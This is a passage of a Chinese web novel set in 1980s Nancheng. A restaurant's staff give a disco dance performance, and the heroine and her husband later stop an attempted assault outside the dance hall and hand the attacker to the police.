不过她始终挺直腰背,也控制着自己的表情,看向他说:“我们餐厅不会在其中收取任何费用,演出费是帮演出人员争取的。我们老板说,我们排的这个舞蹈,是南城独一无二的,单单凭这个,就能帮你们舞厅在春节期间稳坐南城舞厅的头把交椅,以后南城市民必然会认为‘一起迪斯科’是南城最时尚最洋气的舞厅。” “我们老板说,就凭能把大都会舞厅踩在脚下,伍老板觉得值多少演出费?” 伍衡:“……” 我觉得,我觉得你们老板可真是好样的。 忽悠起人来真是百货大楼卖西装一套又一套的。 可又不得不承认,对方说的也是事实,这个奇奇怪怪的舞,还真能让他的舞厅再火爆一次,真能让大都会那孙子气得咬牙又毫无办法。 同理,如果他们的合作谈不拢,人家跑去大都会舞厅,那么气得咬牙又毫无办法的人就会变成他。 这是直接把他给架着了啊! 伍衡磨了磨牙,说:“初三那天你们老板来吗,我还真有点好奇了。”这人损成这样,真是让他好奇了。 许海棠点点头:“来的,老板说她会带朋友一起过来捧场的。” 她转而问:“所以,我们这个演出费?” 伍衡无语地:“一人每天十块钱,十块钱行了吧,十个人老子一天给一百。” 那一周的话,每人能拿到七十元的演出费。 很不错了。 比她原本想好的底价高不少,原本她是准备给大家争取至少每人每天五块钱的,这都直接翻了一倍了。 许海棠马上笑着恭维:“伍老板大气。” 伍衡摆摆手:“别跟我来这一套,笑得不够假的。不过咱们话说前头,既然跟我合作,就不要再想着去大都会那边折腾,我可不是什么好说话的人。” 许海棠干笑了下,坚持把恭维进行到底:“我们就是相信伍老板的能力才来寻求合作的,肯定不会做那种事情的。” 伍衡抽了抽嘴角。 行吧。 俩人写了个简单的协议,伍衡手指弹了下协议,看了眼上面秀气的字迹,忽然说:“许经理怎么不以身作则?” 许海棠正认认真真折好协议放进带来的手提包里,闻言抬头奇怪地看向伍衡:“什么不以身作则?” 伍衡靠在办公桌的桌沿上,漆黑的眼眸看着她,勾了下唇角:“以身作则跳舞呀,那舞许经理跳应该也很好看。” 许海棠只觉一股热气直冲脑门,脸腾地就烧了起来,又羞又怒,想也没想,抬脚就踢了伍衡一下,踢完之后一下子退开了好几步,后知后觉有些害怕,强装镇定说:“不好意思,伍老板,我刚刚是不小心,没站稳。不过,请你说话注意礼貌。初三再见。” 连珠炮似的说完,转身就噔噔噔地跑了出去。 伍衡看着那个落荒而逃的背影,顿时笑得更欢了,半晌,弯腰揉了揉被踢到的小腿,笑着啧了声。 当天,窝在家看小说的柳绵绵就收到了许经理的工作汇报,春节期间的演出已经谈好了。 不过柳绵绵感觉有点奇怪,既然演出谈好了,舞厅那边也给了一个挺不错的价钱,事情似乎都挺顺利的,但是为什么她感觉许经理好像有点气不顺的样子? 许海棠不主动说,柳绵绵自然也不会问。 人与人还是要有点边界感的,许海棠愿意说的话,她倒是也可以听一听,但她要不愿意说,就没必要非得搞得自己很关心她一样了。有时候过度的关心,也是一种负担。 就像柳绵绵其实已经从刘婶那里知道了,许海棠和孙老二已经离婚了,但如果许海棠自己不提,柳绵绵也不会问。 据孙家人的说法是,许海棠她爹仗着自己是厂里的老师傅,和厂领导关系也不错,所以故意给孙老二施压,逼着他跟许海棠离婚。孙老二并不想离婚,是实在被逼得没办法了才不得不离的。 但是柳绵绵猜测,应该是许海棠辞职的手续办妥后,孙家人心知大势已去,在许海棠身上再沾不到一点便宜,干脆顺水推舟。 毕竟,据说许海棠为了能离婚,除了她自己防着婆婆偷拿早已随身带走的金银首饰,还有一些衣物,其他的陪嫁都没有跟孙家要回来。 孙家当初就没给什么彩礼,平白还得了些陪嫁,怎么算都是赚了的。 不知道孙老二怎么想,至少孙家其他人应该是乐见其成的。有这么一个坚决维护自己小家利益的媳妇儿,时间长了,万一孙老二被说动了不管其他人呢?那倒是还不如让他们离婚了。 这当然是柳绵绵到猜测,不过也八九不离十,因为刘婶说,孙老大的媳妇儿自己在外头嘴巴没把门,都说过差不多意思的话。 孙家人倒是极力给自己挽尊,但是附近的邻居倒是并不吃他们那一套,毕竟许海棠在孙家时过的是什么日子,大家都是知道的。加上刘婶悄悄透露了一些他们家的做法,就连最抠门儿的曹大妈都要骂孙大妈一声不做人。 年前这几天餐厅生意一般般,柳绵绵干脆就决定早点放假。 这时候春节法定的假期其实就三天,大年初一到大年初三。不过私人的餐厅,倒是不用那么死板,反正大家都沉浸在传统节日的氛围里,不爱吃西餐了,他们干脆多放几天假。 明年餐厅的同志们会更忙的,所以年前还是让他们先好好歇几天吧。 柳绵绵已经看好了,西餐厅往芷江路走的巷子口有个店面空着,她准备在那里开一家洋快餐。 那地方原先听说是个糕点铺子,国营的,口味一般,竞争不过附近另一家私人开的铺子,然后就倒了。也不知怎么的,那店面一直空着。柳绵绵准备开年就想办法把这个铺子给拿下。 这么一想,明年要做的事情还挺多的,开洋快餐店,买批发档口,开服装厂,搞录像厅,哦,对了,还有李耀明。 李耀明回港城以后,柳绵绵和他通过几次电话,提醒他不要乱投资,只要他听劝,《柳娘与书生》开拍应该也不久了。 柳绵绵往自己的小本本上认真记上几笔。 她虽然咸鱼,但也是一条能间歇性勤奋一下的咸鱼,这样下去,挣个小目标指日可……那还是有点遥远。 先挣个五百万吧。 这个感觉应该不远。 西餐厅腊月二十八开始放假,一直放到正月初六。 腊月二十七这天晚市结束,柳绵绵亲自给大家发放了年终奖金和年节福利。 奖金比去年的标准提高了二分之一,年节福利有前进乡那边运过来的鱼和花生油,还有许海棠通过原先积累的采购途径弄到的猪肉和苹果,四样节礼份量都不少,也是相当丰盛了。 奖金和节礼都比去年多,假期更是去年的三倍,餐厅所有人都是喜出望外。 他们餐厅工资好福利好是出了名的,原本还担心换了个老板,待遇会不会下降,哪知道根本没有,反而还提高了。 看来今年又是左邻右舍亲朋好友的羡慕对象呢。 许海棠工作的时间短,但是奖金也不少,柳绵绵把装着奖金的红包交给她以后,就跟她说了明年开洋快餐店的计划。 两边离得不远,洋快餐只要就是炸鸡薯条和汉堡,需要的工作人员也不多,柳绵绵初步是打算让许海棠兼着管理一下的。 如果要在其他地方开分店,就再挑管店的人。 许海棠一点都没有老板在放假前给自己布置明年工作的怨怼感,反倒是斗志昂扬,握拳表态:“老板,我会更努力的。” 柳绵绵:“……” 很好,身为咸鱼,看到员工这么卷,她就安心了。 发完西餐厅的工资,第二天蒋红梅和刘安民又风风火火过来送钱了。 之前挣的钱陆陆续续又投回到了货里,等于没怎么分过钱,年底这几天其实很忙,但不分钱肯定是不行的,所以蒋红梅和刘安民还是挤出了半天时间跑来求知巷对账、分钱。 账目都是清清楚楚的,利润也确实是高,不过由于明年要买档口,还要办服装厂,这些钱都先留出来了,所以最后每人就分了三五千意思意思。 “咱们也是财大气粗了,三五千都敢说是意思意思了。”蒋红梅感叹。 刘安民摸了把脸:“那咱们离广城那些有钱人还差得远。” “他们都干多少年了,咱们这才刚开始,以后肯定能追上去的。”蒋红梅叹了口气,“去年的现在,我哪儿敢想能挣这么多钱。” “明年咱们努把力,争取把服装厂做大!”刘安民说。 “对,做大,挣大钱!”蒋红梅举起拳头挥了挥。 柳绵绵看了眼他们,感觉他们一个脸上写了“奋斗”,一个脸上写了“努力”。 很好,身为咸鱼,看到合作伙伴这么有斗志,她感到暖暖的很安心。 巷子里偶尔响起的鞭炮声,渐渐变得密集,空气中迷漫的食物的香气日渐浓郁,孩童的欢闹声仿佛也随着除夕的临近而越来越清晰……年味儿就在这种润物无声的悄然变化中渐渐浓郁。 爆竹声中,除夕也悄然而至。 第66章 一起跳舞 “嫂子,算了,还是跟我哥老实交代吧,咱们想瞒他根本不可能的嘛。”沈维云拽住柳绵绵的胳膊,几乎是用气音在说话。 西餐厅初六前都不上班,许海棠知道后就把演出时间给改了,前面这几天演出时间都是七点半,舞厅里正热闹的时候。这个时间也方便柳绵绵他们出门看热闹。 伍衡不愧是能在八十年代就开舞厅的人,做生意确实有些手腕,除夕夜就开始搞什么舞动新春的活动,搞了一些类似于三人同行免一人门票之类的活动,然后又预告了初三夜有惊喜活动什么的,到处发传单,搞得求知巷的老太太们都知道舞厅有活动了。 于是,到了初三晚上,柳绵绵和沈维云表示吃撑了,去工人路逛逛消消食,沈维舟倒是没说什么,只是把大衣一穿,围巾一围,就跟了上来。 沈维云做贼心虚,一路拉着柳绵绵嘀嘀咕咕。她早发现了,她哥耳朵特别灵,所以根本不敢大声说话。 柳绵绵回头看一下亦步亦趋地跟着的沈维舟,干脆停下脚步,说:“沈维舟,我们要去舞厅,你们单位不是规定不能去吗,你先回去吧。” 沈维云眼睛瞪得老大。 勇还是嫂子勇,竟然干脆摊牌了。 她努力往柳绵绵身后躲,祈祷她哥不要注意到她。 沈维舟一点不意外,淡定道:“没事,我陪你们去,到时候写一份检讨就行了。”他对自己的意志力很有信心,但是对媳妇儿和妹妹的意志力不太有信心,与其让她们听别人说得天花乱坠蠢蠢欲动,倒不如自己陪着去一趟。 听到他拼着写检讨也要跟着去,沈维云默默倒吸一口凉气。 柳绵绵倒是没反对,有调查才有发言权,道听途说就把舞厅当洪水猛兽的态度不可取,而且,有些东西也不是光靠防能防住的,多看看才知道怎么防微杜渐嘛。 而且,人家舞厅好像确实是个正经的舞厅。 于是她笑眯眯说:“那行,正好你可以当我舞伴。” 柳绵绵是听说“一起迪斯科”是出了个什么三人同行一人免单的优惠,但是她之前一直以为传言有误,毕竟跳舞嘛,都是成双成对的,你搞个三人同行一人免票,这不是找茬吗? 但是到了舞厅门口才发现,奔着这个优惠来的还不少。 柳绵绵观察了一下,就发现了这么搞的好处。正因为跳舞需要成双成对,如果是三个人的话,势必有一个人是多余的,于是不少大聪明就开始呼朋唤友,三个不行,凑满六个不就行了? 有人现场开始找陌生人组队,也有人跑到舞厅门口的小卖部打电话摇人。小卖部前排满了打电话的人,有的人等得无聊了,干脆就在小卖部买点零食,边吃边排。 反正只要通知到人,他们就可以先进舞厅了。检票的人说了,单人票、三免一票、三免一缺人票都是不一样的,他们可以买三免一缺人票,回头退场凭票退钱。 柳绵绵听许海棠形容过伍衡,据说是一个长相很凶、有点邋遢、三十来岁的男同志。且不管人家长得凶不凶吧,这人明显很有生意头脑,这三免一一搞,不但无形之中增加了舞厅的客流量,而且,柳绵绵估计他门口这个小卖部营业额都非常可观。 不过,看着那么多人排队打电话,柳绵绵也是感慨,这个时代的发展真的是太快了。感觉原主的记忆中,前一两年,南城电话还很少的,现在倒是很多了。 这跟商店、小卖部越来越多也有关系,总归都是开门做生意,拉个电话线,就能多收一份电话费,成本高了点,但收益其实挺不错的。 柳绵绵也是看大家排队打电话,才忽然想起来,寻呼机应该差不多要上市了。 她毕竟是零零后,倒是没有经历过寻呼机的年代,只是听说过,所以一直也没想起这个事。 回头可以问问刘安民,按理这时候广市应该已经有了才对。 柳绵绵他们人数刚好,直接买票进场。 站在外面就能听到音乐声和笑闹声了,进到里面,只能说是人声鼎沸,音乐声更是震耳欲聋。 重生以来,沈维舟又回到了自己熟悉的安静、平和的世界中,这还是第一次直面这种喧嚣的场面,不由自主地就往后退了两步。柳绵绵被他眉头紧锁的样子逗得哈哈大笑,伸手一把抓住他,拉着他就往前面走。 沈维云也紧紧跟上去。 突然一声尖锐的口哨声响起,人群一阵骚动,随着口哨声此起彼伏响起,啪地一声,天花板上的大灯都熄灭了,随之亮起的是五颜六色的彩色灯泡和旋转的球灯,光线顿时变得暧昧了起来。 柳绵绵抓住沈维云:“跟紧了,别被人挤远了。” 舞厅确实是正经舞厅,但是人员混杂,难保有些不三不四的人混在里面,尤其是女同志,还是要以安全为主。 虽说沈维舟不过来,柳绵绵也有办法保证自己和沈维云的安全,但是沈维舟一起,倒确实是少了不少麻烦。 毕竟他长得高,这几个月不知是中药的效果还是什么的,好像也长了点肉,看着不再是风一吹就倒的样子了,往人群中一站还是有点威慑力的。更不要说他一张冷脸,天生就容易让人犯怵。 一路往里走,倒是有几个流里流气的小青年往柳绵绵和沈维云身上多看了几眼,接触到沈维舟警告的眼神后,迟疑几秒后都装作若无其事地走开了。 谁好惹,谁不好惹,这些人还是清楚的。 舞厅前方搭了个简单的台子,台子前面拉了绳,也站了几个工作人员,应该就是临时舞台了。 柳绵绵看了下时间,马上就要到演出的时间了,于是她也没再去找许海棠他们,直接在舞台前找了个视线好的位置站着了。店里那帮人第一次面对这么多人演出,估计都紧张得不得了,她也就不给他们增加压力了。 忽然,舞台周边的灯光全部暗了下来。 喇叭里一个声音突然响了起来:“姐妹们,兄弟们,新年惊喜活动即将开始!请大家往舞台聚拢,下面,有请芷江西餐厅歌舞团为大家表演舞蹈——《爱情陷阱》!” 话音落下,唰地,舞台周围亮起了一排灯,昏暗的灯光映着台上十个背对舞台的身影,同时,音乐声响起,十个人唰地齐齐转身,做了个亮相的动作。 台下立马一片尖叫、口哨声。 柳绵绵看到一个叫小露的女孩节奏乱了一下,不过她很快调整自己,跟上了其他人的步伐。 舞台周边的其他灯光也渐次亮起,球灯转动,五光十色的灯光不断变幻,形成炫目的灯光效果。 台上的十个人,一半白衣黑裤戴着领结,一半修身的上衣搭配百褶制服裙,明明是很“正经”的打扮,却随着节奏激烈动感的音乐尽情地舞动,在灯光的加成下,有一种难言的性感和色气。 尤其一张张年轻的面孔,或青春靓丽,或英俊帅气,为舞蹈增添了颜值的加成。 总之,舞厅里简直要爆炸了。 大家看过跳舞,可没看过这样跳舞的。 这个时候还没有“制服诱惑”的说法,但是几乎每个人都觉得,这种穿着正儿八经,舞蹈却极致诱惑的反差感实在太强了,非常的勾人,让人心跳砰砰砰的。 于是,等到最后一个节拍,台上人突然从兜里掏出绣着字的方巾,摆出“芷江西餐厅诚挚欢迎您”的广告语,停顿几秒后,齐齐鞠了个躬转身下台时,偌大的舞厅里神奇地出现了几秒钟的安静。 好像被人从幻梦中突然拉回来了现实,又好像是所有人都还沉浸在刚刚那个勾人心魂的舞蹈之中,一下子回不过神。 还是柳绵绵带头先鼓了鼓掌,现场才突然跟着爆发出热烈的、仿佛要把舞厅掀翻了一般的掌声和尖叫声。 有人呼喊:“一起迪斯科,再来开一个!” 也有人吼叫:“芷江西餐厅歌舞团,再来一个!” …… 喇叭里开场的那个声音再度响起:“姐妹们,兄弟们,热场舞蹈已经结束,想再看一次舞蹈的,请明天准时来到我们青春的、欢乐的、躁动的海棠,一起迪斯科!接下来的时间,来吧,看你们的了!大家一起尽情的跳起来吧!” 《爱情陷阱》的音乐再度响起,现场一片欢呼,甚至有人马上学着之前歌舞团的动作开始似是而非地扭动起来,虽然不太像,还有点乱七八糟的,但是竟然也还不错,于是,更多的人跟着扭动起来。 “我去后面看看。”柳绵绵冲着沈维舟大声说。 沈维舟抽了抽嘴角,他的听力,是完全可以隔绝噪音听清楚她说话的,不过,算了,媳妇儿这个样子也挺可爱的。 他说:“我跟你一起。” 扭头直接把站那儿蠢蠢欲动的沈维云也给扯了过去:“你也一起。” 沈维云确实是已经很想混进人群里去跳舞了,她观察过了,跳得好的当然也有,但是大部分人都一般般,有些手脚都不怎么协调,她好歹前两年暑假的时候还学过几节基础的舞蹈课呢,所以现在也觉得很有信心。 不过去后面看看西餐厅歌舞团的小哥哥小姐姐们也不错。 当然,其实她不想去也不行,她哥外面瞧着文质彬彬,其实骨子里可霸道了。 柳绵绵询问工作人员后,顺利在角落的一个类似办公室的地方找到了西餐厅的人。 大家都还很兴奋,一个个红着脸,讨论着初次上台的心情。 “天呐,你不知道,我刚刚一转身看见那么多人,心跳都差点停止了!别说舞台了,我读书的时候连讲台都没上去过,妈呀,可吓死我了,吓得我动作都做错了,不过幸好我稳住了,很快调整了回来!呜呜呜,我可真是吓死了,我怕我拖大家后腿。” “嗐,其实大家都一样紧张,都一点点小失误,只不过是都很快调整好了。不管怎么样,咱们这节目火了,我听见他们喊再来一个了!” “我们跳得这么好,那肯定得火呀!老师教得也好,柳老板的创意也好,反正我觉得,南城歌舞团也没咱们跳得好!” “你倒是挺能给自己脸上贴金,哈哈,不过我也这么觉得!” …… 年轻男女们叽叽喳喳个不停,看到柳绵绵进来,一下子就围了上来,又冲着柳绵绵叽叽喳喳起来。 “老板,你看我们节目了吧,我们节目是不非常棒?” “老板,你是最棒的,你教的那些动作实在太劲爆了!” “咱们餐厅这回出名了!” 柳绵绵冲微笑站在一旁的许海棠竖了个大拇指,随后才笑着说:“演出费舞厅这边每人每天是十元,餐厅这边原本是说再奖励十元的,不过鉴于你们优秀的表现,我觉得奖励应该加倍,餐厅再每人每天奖励二十元!” 餐厅这边有奖励大家是知道的,原本猜测十块钱顶天了,毕竟他们已经拿了舞厅这边的演出费,没想到竟然是二十元,加上舞厅给的,每天就是三十元,一星期就是两百多! 这都抵得上他们好几个月工资了。 这可真是太惊喜了! “啊啊啊,老板你是最棒的!” 大家马上七嘴八舌地吹起了彩虹屁。 正说得热闹,忽然有人走了进来,鼓着掌说:“精彩,节目真是太精彩了!不过柳老板,你这倒是显得我好像小气了,今天的演出这么成功,演出费,我给每人再加十块钱!” 又加了十块! 姑娘小伙儿感觉幸福来得太突然了,都有些不太真实了,他们竟然、竟然这就要挣毛三百块钱了?! 柳绵绵看向走进来的人,怎么说呢,脸上有疤,确实看着会凶一点,头发也有点乱糟糟,但是说实话,这人其实长得还挺好的,属于硬朗类型的那种帅哥。 声音也不错,低沉磁性,最关键是,还非常耳熟。 柳绵绵一想到对面这个脸上长疤的男人,就用眼前这副跩上天的表情,在话筒里喊出“姐妹们,兄弟们,大家一起尽情地跳起来吧”,她就感觉有点控制不住嘴角的肌肉。 她还是勉强控制住了,用非常正经的表情和语气说:“伍老板是吧,初次见面,幸会!让伍老板破费了,我替他们谢谢你。” 伍衡不着痕迹地打量了柳绵绵一眼,笑道:“柳老板,久仰大名。” 商业互吹了几句后,伍衡精准看向沈维舟,笑道:“柳老板不介绍一下?”对方的视线存在感太强,伍衡想装作没发现都不行。 柳绵绵于是说:“这是我爱人,沈维舟。” 沈维舟冲伍衡点了点头。 伍衡深深看了沈维舟一眼,双方在眼神交汇的瞬间,互相掂量了下对方。 西餐厅的人洗掉脸上的妆,又换上了他们自己衣服,然后就跟着柳绵绵一起去舞厅里玩了。 现在还是放假期间,顺利完成第一次演出,他们也是终于放松了,终于可以真正感受一下舞厅的氛围了。 许海棠犹豫了下,没有跟上去,之前已经说过,表演结束后大家自由活动,她也提醒过他们注意安全了,这里没有她的事了,她就准备回去了。 但是刚走到门口,原本已经离开的伍衡又不知从哪里冒了出来:“许经理,一起跳个舞?” 没等许海棠回答,直接就把人拽进了舞厅。 舞厅里光线昏暗,许海棠跟着走了几步,也不知道踩到了什么,突然脚崴了一下,撞到了正搂在一起跳舞的两个人。 许海棠还没站稳,就连声说:“不好意思不好意思。” 周围嘈杂的声音中,一个熟悉的声音响起:“海棠?” 许海棠诧异抬头,她怎么也没想到,被她撞到的人竟然是孙敏俊。 第67章 遇见原书角色 许海棠印象中,孙敏俊虽然挣不少,但他是个很节俭的人,毕竟他自己能支配的钱本来就不多,他甚至不抽烟也不喝酒。追求她的时候,两人倒是一起看过几场电影,但他买汽水从来都只给她买一瓶,他自己是不喝的。 这些事在当初的许海棠看来都是优点,男人节俭一点没什么,她爹也是个勤俭的性子,家里人才能过上好日子。买汽水只给她买,就说明这个男人节俭之余也会对媳妇儿好。 只是,一切在他们结婚后就变了。 他不仅自己节俭,也用同样的标准要求她,说是要一起为将来的孩子攒钱。 可真要为将来的孩子着想,就不会把工资都交给他老娘了。他大哥还有那个酒鬼三弟,可都只用交一点点生活费的。 有时候许海棠都想不通,孙敏俊明明看上去挺精明的,为人也很活络,可为什么只要一对上他娘,就跟被下了降头似的,一点头脑也没有了。 不过他们已经离婚了,许海棠也不想再去想这个问题了。 只是她实在没想到,平时节俭得不行的孙敏俊,居然会跑来舞厅跳舞。并且,她刚才一眼扫过,他跳舞的动作居然好像还挺熟练,并不像什么生手? 这还不止,更让许海棠震惊的是,他搂着一起跳舞的人,竟然是贾荭! 都是服装厂的“厂二代”,许海棠跟她不熟,但是多少是知道她的情况的。贾荭父母是双职工,不过她上头还有两个哥哥,所以在家也算怎么得宠。不过她学习成绩不错,高中毕业时正好碰上厂里招工,她是自己考进厂里的。 贾荭是进厂四五年才结的婚,在同龄人里算晚的了,可惜结婚后没几年她丈夫就病死了。他们有两个孩子,一儿一女,年纪都不大。也因为有两个孩子,她丈夫又是独生子,所以公婆对她还是挺不错的,依然帮衬着他们母子。 之前许海棠还在厂里的时候,就曾听人讨论过,说贾荭丈夫这也没了有几年了,贾荭怎么也没再谈一个。 当然,这年头人们思想愚昧,遇到这种事,有的人背后还会编排,说贾荭自身运气不错,但是命硬,克夫。这种当然是无稽之谈,但是也确实让一些原本想给贾荭介绍对象的老大姐们迟疑退缩了。 许海棠怎么也没想到贾荭会和孙敏俊搞在一起,贾荭比孙敏俊大七八岁呢。 贾荭也看到许海棠了,她站直身体,捋了捋头发,看上去倒是比面红耳赤站在那里半天说不出话的孙敏俊淡定多了。 “海棠,挺巧的啊,在这里还能遇上。”贾荭瞥了眼站在许海棠身旁的伍衡,暧昧地笑笑,“哟,你这动作也挺快的哈,这是又谈上了?” 她回头看了眼孙敏俊,大大方方说:“我和敏俊也在处对象,说不准过阵子就要结婚了。” 孙敏俊嘴巴张了张,似乎是想说什么,最终还是抿着嘴没吭声,只是一双眼睛死死地瞪住伍衡,那副样子,简直恨不得在伍衡脸上盯出个窟窿。 伍衡挑了眉,淡淡看向孙敏俊。 他五官本就生得冷硬,此时眼神森寒,平添几分戾气,孙敏俊很快移开了视线。 许海棠觉得很尴尬,心里有点乱,也不想多解释什么,匆匆说了句“你们玩,我去那边了”,就走开了。 她低着头,回想着认识孙敏俊以来发生的点点滴滴,只觉得自己当初真是瞎了眼睛,怎么就会看上这么个表里不一的东西。 舞厅里人多,她不辨方向,闷头往前走,差点又撞到人,然后就被伍衡一把拉进了舞池:“走什么,不是跳舞吗?” 伍衡自然是舞技超群,轻轻松松几步就把许海棠带了起来。 许海棠是会跳舞的,甚至在和孙敏俊处对象之前,她还参加过几次单位组织的联谊活动,这年头的联谊,很多也是举办茶话会、舞会的形式。她也曾经接触过两个还不错的男同志,只是见过几次后,就不了了之了。后面和孙敏俊处对象,孙敏俊不会跳舞,许海棠自然再也没有跳舞。 哪知道离婚后没多久,不会跳舞的孙敏俊,居然也上舞厅跳舞了。 许海棠想到柳绵绵常说的一个词:魔幻。 她原先还不能理解什么叫魔幻,这一刻却觉得可不是魔幻吗? 干脆抛开一切想法,随着音乐的节奏舞动起来。 另一边,孙敏俊神情恍惚地看着许海棠离开的方向,贾荭看他一眼,笑了下,说:“别看了,许海棠这新对象明显挺有钱,他手上那块手表都是外国货,可贵了。” 孙敏俊脸色顿时更加难看:“海棠不是那种人。” 贾荭扯了扯嘴角:“你不是说你们俩主要就是经济上的分歧吗,既然是经济上的分歧,那不就是为了钱?听说她现在工资挺高的,辞掉铁饭碗,去西餐厅上班,不也是因为西餐厅工资高?人呐,哪有不爱钱的,只不过是有的装得清高,有的人直白一点罢了。” 孙敏俊想要反驳,他知道事情不是这样,他们吵架是因为工资上交的问题,但是许海棠也确实不是唯利是图的人。 但他反驳不了,他总不能说他妈想把所有钱都收走吧? 他嗫嚅了下,最后说:“你怎么能说我们在处对象?” 贾荭柳眉微挑:“咱们难道不是在处对象吗,不是处对象你天天跟我跳舞,不是处对象你抱我那么紧?” 孙敏俊迟疑:“你和我哥……” 贾荭抓着他的手一把放到自己腰上:“我和你哥那都哪个朝代的事情了?那时候大家都不懂事,闹着玩的,我早忘记了。倒是你,咱们一个单位这么久,一直互相帮衬,咱们这是患难与共的革命感情。” 俩人紧紧贴靠在一起,孙敏俊感受到身前的“波涛汹涌”,心头的那股子恼怒和怅然若失,也渐渐消弭无形。 柳绵绵完全不知道许海棠经历的“修罗场”,她正和沈维舟一起跳舞呢。 “没想到你舞跳得还不错。”柳绵绵挺诧异的,照原书里描写,沈维舟原先可是经常缠绵病榻的,加上他的性格,也不像会出去参加什么集体活动的样子。 沈维舟揽着柳绵绵转了个圈,轻描淡写说:“偶然学会的。” 异世虽然生存艰难,但是每个区域都会有一两个“安全岛”,是正常人类休憩交易的场所,也是冒险家们的销金窟。只要手上有物资,在那里能兑换任何东西。 为了交易物资,沈维舟偶尔也会进入那些场所,不想让自己看上去很特别,自然就要努力融入那个氛围。 那时候他不懂,每天都在和死神拼搏的人,为什么会愿意浪费时间在这种毫无意义的取乐上,直到现在,沈维舟才算体会到其中的趣味。 突然,一声尖叫响起。 “臭流氓!” 柳绵绵看过去,就见不远处一个穿白色连衣裙的小姑娘扇了身旁男青年一巴掌。 周围的人都看了过去。 鼓噪的音乐声中男青年突然吼了起来:“蒋呦呦,你他妈的敢打我?!” 小姑娘明显脾气也挺冲,瞪着男青年也是声嘶力竭地吼:“张亮亮,你他妈摸我屁股,我不打你打谁?” 这话一出来,旁边看热闹的人不少都笑了起来,还有人开始吹口哨。 大家看这俩人是认识的,还以为是小情侣打情骂俏。 当然,也有人斥责张亮亮,让他给人家女同志道歉。 柳绵绵却觉得不对,实在是这俩人的名字挺耳熟的,她好像在原书里见过。 在原书的描述里,沈维鸿为了讨江映雪开心,带着江映雪上新开的舞厅跳舞,结果就遇上了百货公司经理的女儿蒋呦呦,她和朋友一起来舞厅玩,被同行的一个男同学非礼,打了男同学一巴掌。谁知男同学怀恨在心,跟着她离开舞厅,差点就在路上**了她。 幸亏江映雪瞥见一点影子,和沈维鸿一起救了她,后面也是因此搭上了蒋经理,等到她投资开商店的时候,蒋经理帮她解决了不少供货问题。 而非礼蒋呦呦的男同学好像就叫张亮亮。 原书里没有写明蒋呦呦是在哪个舞厅被非礼,因为江映雪碰上他们的时候已经在离舞厅有点远的马路上了。 难道,那个舞厅就是一起迪斯科? 就在柳绵绵回忆原书内容时,那边蒋呦呦和张亮亮又吵了几句,然后蒋呦呦扭头冲出了舞厅,而张亮亮面红耳赤在原地站了一会,也跟着追了出去。 柳绵绵皱眉看着张亮亮的背影,一扯沈维舟:“咱们跟过去看看。” 沈维鸿已经去了西北,柳绵绵不知道江映雪现在在哪里,但不管怎么样,既然沈维鸿不在,那就不可能带着江映雪来舞厅,也就不可能正好碰见蒋呦呦,那蒋呦呦就可能真的有危险。 沈维舟回头看了眼,看到沈维云正和西餐厅那帮人一起,他们人多,应该不会有什么事情。 舞厅客流量很大,门外的街道自然也聚集了不少小摊小贩,柳绵绵他们追出去,一下子竟然没看见蒋呦呦和张亮亮。 沈维舟正蹙眉观察,柳绵绵看了一圈,确定了个方向:“往那边!” 沈维舟往那个方向看去,人头攒动,并没有看到那两个人的身影,但是柳绵绵已经非常笃定地朝那个方向小跑过去了,沈维舟只好赶紧也跟上。 跑了一段路后,路上的人越来越少,街道也变得冷清了起来。这么一来,路上的人倒是能看得更清楚了。 沈维舟发现前面不远那个躲躲藏藏的身影果然是刚才那个男青年。 他忍不住侧头看了柳绵绵一眼。 沈维舟相信自己的视力和听力,绝对是远远超过柳绵绵的,他都没看到,柳绵绵不可能看到了。 她更像是知道这两个人会往这边跑。 沈维舟垂下眼眸,没再细想,他知道自己的妻子有秘密,但他并不准备去探寻这个秘密。 柳绵绵突然扯扯他:“那个人是不是想干坏事?” 沈维舟抬眸,旋即马上皱起了眉头。 那个叫张亮亮的男青年突然快步追上更远一点的女青年,手搭上女青年的肩膀,然后很自然地半拉半拖地把人往旁边阴暗的巷子里拉。 女青年似乎是挣扎了一下,但是这边路灯昏暗,行人稀少,哪怕有人看见了,也只以为是情侣之间闹着玩儿。 沈维舟看到男青年捂住了女青年的嘴。 几乎瞬间,那两人就消失在了巷子的转角处。 沈维舟犹豫了两秒,前面不知什么情况,他想让柳绵绵在外面马路上等着,但又觉得柳绵绵一个人待在这里不安全。 不过几乎立刻他就决定了,他拽着柳绵绵跑了过去。 被拖进巷子里的蒋呦呦泪流满面,她使劲摇着头,挣扎着,但是她和对方力气悬殊,怎么都挣扎不开。 她感觉到张亮亮令人作呕的气息喷吐在她的脸上,听到张亮亮在她耳边说:“不就是摸了下屁股吗,你就当着那么多人的面打我?你算什么东西,你居然敢打我?跑到舞厅里跳舞,你还装什么纯情少女,我早听说了,你就是个骚货!” 张亮亮说着就开始动手动脚,一只手捂着她的嘴把她顶在墙上,另一只手掀起了她的裙子。 蒋呦呦吓得浑身颤抖,更加激烈地挣扎了起来,就在她感到绝望的时候,却看见张亮亮身后突然多了个又高又瘦的身影,她瞪大了眼睛,又惊讶又想呼救,却什么也做不到,只眼睁睁看着这个人一拳头把张亮亮打翻了。 他甚至没有给张亮亮任何辩解的机会,直接扒了他身上的衬衣,非常熟练又利索地用衬衣把张亮亮反手绑了起来。 十几分钟后,四人出现在最近的派出所里。 走进派出所大门的那一刹那,如果有后世的智能手机的话,柳绵绵感觉自己高低得在派出所门口拍个照打个卡。 这都第几次进派出所了,而且每次进的派出所还不一样,这样下去,她怕是都能把南城的派出所给打卡完了。 事实清楚,做完笔录,张亮亮就被关了起来。 蒋呦呦大概是吓坏了,请派出所的同志帮忙打了个电话给家里,就坐在角落里两眼无神地发呆。 柳绵绵看了她一眼,就和沈维舟一起走了。 她追出去只是单纯的想救蒋呦呦,倒是没想过要从中得到什么利益。 毕竟如果不是她穿越进来,沈维鸿应该就不会去西北,蒋呦呦自然会被江映雪救了。她穿越过来以后,一切都变了,如果她不去救,蒋呦呦会遭遇什么可想而知。 柳绵绵他们悄悄的走了,家人赶到派出所的时候,蒋呦呦才回过神,抱着亲妈号啕大哭了一场后,才想起来柳绵绵他们。 听说见义勇为者早就走了,蒋家人赶忙跟派出所的同志要柳绵绵他们的住址,派出所这边自然不可能把这种隐私信息告诉蒋家人,只给了沈家的电话号码,让他们先电话与人联系,人家同意见面的话,自然会把地址告诉蒋家人。 蒋经理把写着电话号码的纸条折好放进兜里,又再次对公安同志也表示了感谢。 